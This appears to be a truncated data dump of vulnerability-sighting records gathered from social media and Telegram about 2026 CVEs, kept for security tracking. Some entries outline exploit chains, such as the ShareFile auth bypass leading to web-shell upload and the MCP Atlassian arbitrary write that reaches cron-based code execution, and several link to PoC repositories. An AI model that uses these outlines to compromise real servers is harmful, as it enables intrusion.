\u0437\u0430\u0431\u044b\u043b\u0438 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u0430 \u2014 \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u043b\u044e\u0431\u043e\u0439 \u0436\u0435\u043b\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \ud83d\ude31\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF! \ud83d\udc47\n\n#Progress #ShareFile #CVE #ZeroDay #RCE #critical_bug", "creation_timestamp": "2026-07-20T00:00:25.158068Z"}, {"uuid": "81289855-6047-489e-ba07-4aac3ed25c59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27823", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr3tzaqs2t27", "content": "CVE-2026-27823 - Remote Code Execution Vulnerability in EGroupware\nCVE ID : CVE-2026-27823\n \n Published : July 20, 2026, 4:16 p.m. | 18\u00a0minutes ago\n \n Description : A vulnerability has been identified in EGroupware that may lead to Remote Code Execution (RCE). The issue allows...", "creation_timestamp": "2026-07-20T17:47:06.886952Z"}, {"uuid": "340edb7e-d50f-4ca8-b0d9-75823638c706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27971", "type": "seen", "source": "https://t.me/proxy_bar/3196", "content": "CVE-2026-27971\n*\nQwik - Unauthenticated RCE via server$ Deserialization", "creation_timestamp": "2026-07-20T19:00:07.740621Z"}, {"uuid": "b1fd243e-40a4-4a9a-9970-54856ef7e1cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "Telegram/R6wd-5LU7SZsg8rhU9jD4yxczCySLKIaoSoEZwsPsTI6lA", "content": "", "creation_timestamp": "2026-07-20T19:00:10.573171Z"}, {"uuid": "82c23027-ee09-4078-9f8d-367af0b5c041", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mr42kn3nrv2j", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-20T19:44:08.833367Z"}, {"uuid": "f6a07ff4-f2b4-4231-9fe5-194dbc027124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27607", "type": "seen", "source": "https://t.me/cve0day/249", "content": "CVE-2026-27607\n\nGitHub Link:\nhttps://github.com/nikeee/CVE-2026-27607", "creation_timestamp": "2026-08-28T00:00:42.006480Z"}, {"uuid": "0b7c99b4-0188-4f89-a953-3f453ccd94bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "Telegram/R6wd-5LU7SZsg8rhU9jD4yxczCySLKIaoSoEZwsPsTI6lA", "content": "", "creation_timestamp": "2026-07-21T00:00:29.355805Z"}, {"uuid": "322a6011-fe8f-4617-b7de-8cf02252fd12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://t.me/pphm_HackerNews/2322", "content": "\ud83d\udd34 n8n Sandbox Escape Lets Workflow Editors Run OS Commands as the n8n Process\n\nn8n has patched a high-severity expression-sandbox escape that could let an authenticated workflow editor execute operating-system commands on the server running the automation platform. Security Joes found the flaw while probing n8n's February fix for CVE-2026-27577 for another bypass.\n\nThe affected ranges are <2.31.5 and >=2.32.0,<2.32.1. n8n fixed the flaw in versions 2.31.5 and 2.32.1. It tracks the issue as GHSA-gv7g-jm28-cr3m, rates it High with a CVSS 4.0 score of 8.7, and no CVE had been assigned as of July 27, 2026.", "creation_timestamp": "2026-08-23T00:00:45.443757Z"}, {"uuid": "4be61fb0-03e5-4700-81e7-e703c1b140a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1690", "content": "\ud83d\udd25 \u0414\u0432\u043e\u0439\u043d\u043e\u0439 \u0443\u0434\u0430\u0440 \u043f\u043e Progress ShareFile: Pre-Auth RCE\nCVE-2026-2699 + CVE-2026-2701 \ud83d\udd34\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 watchTowr \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0434\u0435\u0442\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Progress ShareFile Storage Zone Controller, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 (RCE) \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \ud83d\ude31\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430:\n\u0412\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e CWE-698 (Execution After Redirect) \u0432 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0435 /ConfigService/Admin.aspx. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043d\u043e \u0437\u0430\u0431\u044b\u043b\u0438 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0433\u043e. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e (CVE-2026-2699) \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c. \u0414\u0430\u043b\u0435\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u0430\u0440\u043e\u043b\u044c, \u0432\u044b\u0442\u0430\u0441\u043a\u0438\u0432\u0430\u0435\u0442 Zone Secret \u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b \u2192 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 RCE (CVE-2026-2701).\n\n\ud83d\udea8 \u0418\u043c\u043f\u0430\u043a\u0442:\n\u041f\u043e\u043b\u043d\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u041e\u043a\u043e\u043b\u043e 30 000 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 \u0441\u0435\u0442\u0438 \u2014 \u0438\u0434\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0446\u0435\u043b\u044c \u0434\u043b\u044f \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u043e\u0432.\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n\u0421\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435 ShareFile Storage Zone Controller \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 5.12.4 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435.\n\n\u2b50\ufe0f \u0425\u043e\u0447\u0435\u0448\u044c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u044d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 0-day \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043f\u0435\u0440\u0432\u044b\u043c? \u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0441\u044f \u043d\u0430 \u043d\u0430\u0448\u0443 VIP-\u0432\u0435\u0440\u0441\u0438\u044e \u043a\u0430\u043d\u0430\u043b\u0430: vip.eh.su\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\\#Progress \\#ShareFile \\#CVE \\#ZeroDay \\#RCE \\#CyberSecurity \\#Infosec \\#critical_bug", "creation_timestamp": "2026-07-21T00:00:41.068333Z"}, {"uuid": "598f2c01-2a4d-47a3-9e11-54a862daeb7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1691", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440: Progress ShareFile Pre-Auth RCE Chain (CVE-2026-2699 & CVE-2026-2701)", "creation_timestamp": "2026-07-21T00:00:40.974128Z"}, {"uuid": "30fdb371-3769-4cce-bdd8-e464358c90ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1689", "content": "\ud83d\udd25 \u0414\u0432\u043e\u0439\u043d\u043e\u0439 \u0443\u0434\u0430\u0440 \u043f\u043e Progress ShareFile: Pre-Auth RCE (CVE-2026-2699 + CVE-2026-2701) \ud83d\udd34\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0437\u0430\u0431\u044b\u043b\u0438 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u0430 \u2014 \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u043b\u044e\u0431\u043e\u0439 \u0436\u0435\u043b\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \ud83d\ude31\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF! \ud83d\udc47\n\n#Progress #ShareFile #CVE #ZeroDay #RCE #critical_bug", "creation_timestamp": "2026-07-21T00:00:41.156477Z"}, {"uuid": "ea2bab1e-f9ec-45d1-bbdf-260ca735c5ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27971", "type": "seen", "source": "https://t.me/proxy_bar/3196", "content": "CVE-2026-27971\n*\nQwik - Unauthenticated RCE via server$ Deserialization", "creation_timestamp": "2026-07-21T01:00:16.057045Z"}, {"uuid": "2b771ee7-ac02-4a18-9b20-4a123bf5b18c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/482", "content": "CVE-2026-27912\n\nImproper authorization in Windows Kerberos allows an authorized attacker to elevate privileges over an adjacent network.", "creation_timestamp": "2026-08-27T15:00:05.097464Z"}, {"uuid": "4a05ddc4-ac7b-4d7a-8e93-da2afe349353", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27681", "type": "seen", "source": "https://t.me/infosec_ita_notizie/2598", "content": "\ud83d\uddde\ufe0f Critical SAP SQL Injection CVE-2026-27681 (CVSS 9.9) Exposes Financial Data in Business Planning and Warehouse Systems\n\n\ud83c\udfe1 via securebulletin.com \ud83d\udd17 https://ift.tt/puW1OJm", "creation_timestamp": "2026-07-21T04:00:07.837029Z"}, {"uuid": "57932808-4e9e-4232-8b01-dea4827b90d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27579", "type": "seen", "source": "https://t.me/cve0day/257", "content": "CVE-2026-27579\n\nGitHub Link:\nhttps://github.com/AdityaBhatt3010/CVE-2026-27579-CORS-Misconfiguration-Leading-to-Authenticated-Data-Exposure", "creation_timestamp": "2026-08-27T15:00:12.919354Z"}, {"uuid": "448025cb-54a4-49e6-8bae-45eabf0bdcb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27470", "type": "seen", "source": "https://t.me/cve0day/244", "content": "CVE-2026-27470\n\nNone\n\nGitHub Link:\nhttps://github.com/kocaemre/CVE-2026-27470", "creation_timestamp": "2026-08-28T00:00:42.137232Z"}, {"uuid": "fa88824c-a2be-4219-bc4b-22c2c3ea52c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27172", "type": "seen", "source": "https://t.me/cve0day/441", "content": "CVE-2026-27172", "creation_timestamp": "2026-08-27T15:00:06.339859Z"}, {"uuid": "1073aa36-f046-47e0-868b-85114014aa4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mr543jkhw32u", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-21T05:44:09.320198Z"}, {"uuid": "6ce013bf-4a0b-424b-bc77-b91f7c1b432e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27971", "type": "seen", "source": "https://t.me/GithubRedTeam/94441", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27971_POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Ghalendar\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 07:59:18\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-27971 qwik rce\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-21T09:00:04.838862Z"}, {"uuid": "b2315010-70cf-4964-9a16-e90ee53e98a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27825", "type": "seen", "source": "https://t.me/cve0day/388", "content": "CVE-2026-27825\n\nMCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue.", "creation_timestamp": "2026-08-27T15:00:07.975778Z"}, {"uuid": "62399d06-de9d-4116-bfc3-653591950b41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mr65mh5ecy23", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-21T15:44:10.839347Z"}, {"uuid": "c04820eb-8058-48e8-8be7-560fe225d703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://t.me/cve0day/274", "content": "Headline: CISA Flags Actively Exploited n8n RCE Bug as 24,700 Instances Remain Exposed\n\nSummary: The article details a critical remote code execution (RCE) vulnerability (CVE-2025-68613) in the n8n workflow automation platform, added to CISA's Known Exploited Vulnerabilities (KEV) catalog due to active exploitation. The flaw, patched in n8n versions 1.120.4 and later, allows authenticated attackers to execute arbitrary code with host privileges, risking full instance compromise. Over 24,700 unpatched instances remain exposed globally, with significant numbers in North America and Europe. CISA's inclusion follows n8n's disclosure of another critical flaw (CVE-2026-27577) in the same system. Federal agencies under a Binding Operational Directive must patch systems by March 25, 2026, to address risks of data theft, workflow tampering, or system-level access via unmitigated exploitation.\n\nURL: https://thehackernews.com/2026/03/cisa-flags-actively-exploited-n8n-rce.html", "creation_timestamp": "2026-08-27T15:00:12.302734Z"}, {"uuid": "128c60fd-f576-476d-bf9c-6e24073b9e5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27797", "type": "seen", "source": "https://t.me/cve0day/276", "content": "CVE-2026-27797\n\nHomarr is an open-source dashboard. Prior to version 1.54.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability allows a remote attacker to force the Homarr server to perform arbitrary outbound HTTP requests. This can be used as an internal network access primitive (e.g., reaching loopback/private ranges) from the Homarr host/container network context. This issue has been patched in version 1.54.0.\n\nhttps://github.com/homarr-labs/homarr/commit/91fc5a5c747121475a50f2713d571ceb89e95257", "creation_timestamp": "2026-08-27T15:00:12.397748Z"}, {"uuid": "50a43ace-390d-409e-b83a-c7564799e7cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "Telegram/q3tIaYx4agF_M3da1rV7jtAQTpWs9uwXUcQ2UZM8hUpw4XQ", "content": "", "creation_timestamp": "2026-07-22T17:00:05.343523Z"}, {"uuid": "d1ea6a05-c483-44e6-9882-7b3fb0752834", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27607", "type": "seen", "source": "https://t.me/cve0day/249", "content": "CVE-2026-27607\n\nGitHub Link:\nhttps://github.com/nikeee/CVE-2026-27607", "creation_timestamp": "2026-08-27T15:00:13.004974Z"}, {"uuid": "9972173e-7958-407f-aca6-b612cac9d0d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27470", "type": "seen", "source": "https://t.me/cve0day/244", "content": "CVE-2026-27470\n\nNone\n\nGitHub Link:\nhttps://github.com/kocaemre/CVE-2026-27470", "creation_timestamp": "2026-08-27T15:00:13.188608Z"}, {"uuid": "b1d87d56-2fe9-4c1f-bacc-237970b0865d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27761", "type": "published-proof-of-concept", "source": "https://github.com/go-gitea/gitea/security/advisories/GHSA-3pww-vcvm-3gmj", "content": "", "creation_timestamp": "2026-07-21T22:36:21.255276Z"}, {"uuid": "cd92fa0f-cf97-4482-90ca-18202242a6a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "published-proof-of-concept", "source": "Telegram/R6wd-5LU7SZsg8rhU9jD4yxczCySLKIaoSoEZwsPsTI6lA", "content": "", "creation_timestamp": "2026-07-22T00:00:21.525348Z"}, {"uuid": "9275cd97-1944-4053-acd0-7b72d3e46aca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27971", "type": "seen", "source": "https://t.me/proxy_bar/3196", "content": "CVE-2026-27971\n*\nQwik - Unauthenticated RCE via server$ Deserialization", "creation_timestamp": "2026-07-22T00:00:27.947488Z"}, {"uuid": "e645294f-a9fc-40e5-affc-2b32bbaaf645", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27681", "type": "seen", "source": "https://t.me/infosec_ita_notizie/2598", "content": "\ud83d\uddde\ufe0f Critical SAP SQL Injection CVE-2026-27681 (CVSS 9.9) Exposes Financial Data in Business Planning and Warehouse Systems\n\n\ud83c\udfe1 via securebulletin.com \ud83d\udd17 https://ift.tt/puW1OJm", "creation_timestamp": "2026-07-22T00:00:31.677872Z"}, {"uuid": "6fbc128d-3d86-4c35-a392-563d8a0d19d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27971", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/94441", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27971_POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Ghalendar\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 07:59:18\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-27971 qwik rce\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-22T01:00:11.188112Z"}, {"uuid": "6e66b871-5cbc-4f62-9a03-69b9ac36ce19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27699", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrajbgntdb23", "content": "CVE-2026-27699 - @rootio/basic-ftp\nThe Root FTP server, part of the @rootio/basic-ftp package, had a security issue that allowed attackers to access the server without proper authentication. This could have\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#rootio #Rootnpm #CVE #infosec", "creation_timestamp": "2026-07-22T14:18:05.221447Z"}, {"uuid": "adfadeeb-5981-4c6a-84f1-882ccba4c12f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://infosec.exchange/users/greynoise/statuses/116964298203115730", "content": "This week in GreyNoise data, rented crawlers probed for credentials and configuration secrets across widely deployed web software.\nA matched pair of crawlers sharing one client fingerprint probed NGINX UI (CVE-2026-27944) and LiteSpeed Cache (CVE-2024-44000), two CVSS 9.8 flaws that leak credentials, private keys, or session material, from two different hosting providers. \nAlongside them, an RDP brute force cohort spread across three networks under one transport fingerprint. WordPress core SQL injection CVE-2026-60137 also entered the CISA KEV catalog this week. The rented hosts rotate; the fingerprints persist.\nCustomers get the full weekly brief. Our public At The Edge one-pager \ud83d\udc49https://www.greynoise.io/resources/at-the-edge-clear-072026", "creation_timestamp": "2026-07-22T15:19:15.145414Z"}, {"uuid": "1411201b-a4f5-48ee-be37-d85a02bd7279", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": 